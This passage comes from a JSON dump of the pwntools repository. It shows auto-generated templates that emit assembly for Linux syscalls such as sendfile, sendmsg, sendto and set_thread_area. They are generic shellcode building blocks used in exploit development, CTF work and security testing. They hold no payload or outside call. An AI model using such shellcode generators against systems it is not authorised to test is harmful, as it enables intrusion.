abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sendfile.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sendfile(out_fd, in_fd, offset, count) -> str\n\nInvokes the syscall sendfile.\n\nSee 'man 2 sendfile' for more information.\n\nArguments:\n    out_fd(int): out_fd\n    in_fd(int): in_fd\n    offset(off_t*): offset\n    count(size_t): count\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"out_fd=0, in_fd=0, offset=0, count=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['out_fd', 'in_fd', 'offset', 'count']\n    argument_values = [out_fd, in_fd, offset, count]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sendfile']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sendfile'])\n%>\n    /* sendfile(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sendfile64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sendfile64(out_fd, in_fd, offset, count) -> str\n\nInvokes the syscall sendfile64.\n\nSee 'man 2 sendfile64' for more information.\n\nArguments:\n    out_fd(int): out_fd\n    in_fd(int): in_fd\n    offset(off64_t*): offset\n    count(size_t): count\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"out_fd=0, in_fd=0, offset=0, count=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['out_fd', 'in_fd', 'offset', 'count']\n    argument_values = [out_fd, in_fd, offset, count]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sendfile64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sendfile64'])\n%>\n    /* sendfile64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sendmmsg.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sendmmsg(fd, vmessages, vlen, flags) -> str\n\nInvokes the syscall sendmmsg.\n\nSee 'man 2 sendmmsg' for more information.\n\nArguments:\n    fd(int): fd\n    vmessages(mmsghdr*): vmessages\n    vlen(unsigned): vlen\n    flags(int): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, vmessages=0, vlen=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'vmessages', 'vlen', 'flags']\n    argument_values = [fd, vmessages, vlen, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sendmmsg']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sendmmsg'])\n%>\n    /* sendmmsg(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sendmsg.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sendmsg(fd, message, flags) -> str\n\nInvokes the syscall sendmsg.\n\nSee 'man 2 sendmsg' for more information.\n\nArguments:\n    fd(int): fd\n    message(msghdr*): message\n    flags(int): flags\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, message=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'message', 'flags']\n    argument_values = [fd, message, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sendmsg']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sendmsg'])\n%>\n    /* sendmsg(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/sendto.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>sendto(fd, buf, n, flags, addr, addr_len) -> str\n\nInvokes the syscall sendto.\n\nSee 'man 2 sendto' for more information.\n\nArguments:\n    fd(int): fd\n    buf(void*): buf\n    n(size_t): n\n    flags(int): flags\n    addr(CONST_SOCKADDR_ARG): addr\n    addr_len(socklen_t): addr_len\nReturns:\n    ssize_t\n</%docstring>\n<%page args=\"fd=0, buf=0, n=0, flags=0, addr=0, addr_len=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'buf', 'n', 'flags', 'addr', 'addr_len']\n    argument_values = [fd, buf, n, flags, addr, addr_len]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_sendto']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_sendto'])\n%>\n    /* sendto(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/set_mempolicy.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>set_mempolicy(mode, nodemask, maxnode) -> str\n\nInvokes the syscall set_mempolicy.\n\nSee 'man 2 set_mempolicy' for more information.\n\nArguments:\n    mode(int): mode\n    nodemask(unsigned*): nodemask\n    maxnode(unsigned): maxnode\nReturns:\n    long\n</%docstring>\n<%page args=\"mode=0, nodemask=0, maxnode=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['mode', 'nodemask', 'maxnode']\n    argument_values = [mode, nodemask, maxnode]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_set_mempolicy']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_set_mempolicy'])\n%>\n    /* set_mempolicy(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/set_robust_list.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>set_robust_list(head, length) -> str\n\nInvokes the syscall set_robust_list.\n\nSee 'man 2 set_robust_list' for more information.\n\nArguments:\n    head(robust_list_head*): head\n    length(size_t): length\nReturns:\n    long\n</%docstring>\n<%page args=\"head=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['head', 'length']\n    argument_values = [head, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_set_robust_list']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_set_robust_list'])\n%>\n    /* set_robust_list(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/set_thread_area.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>set_thread_area(u_info) -> str\n\nInvokes the syscall set_thread_area.\n\nSee 'man 2 set_thread_area' for more information.\n\nArguments:\n    u_info(user_desc*): u_info\nReturns:\n    int\n</%docstring>\n<%page args=\"u_info=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['u_info']\n    argument_values = [u_info]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_set_thread_area']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_set_thread_area'])\n%>\n    /* set_thread_area(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/set_tid_address.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>set_tid_address(tidptr) -> str\n\nInvokes the syscall set_tid_address.\n\nSee 'man 2 set_tid_address' for more information.\n\nArguments:\n    tidptr(int*): tidptr\nReturns:\n    long\n</%docstring>\n<%page args=\"tidptr=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['tidptr']\n    argument_values = [tidptr]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_set_tid_address']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_set_tid_address'])\n%>\n    /* set_tid_address(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/setdomainname.asm",
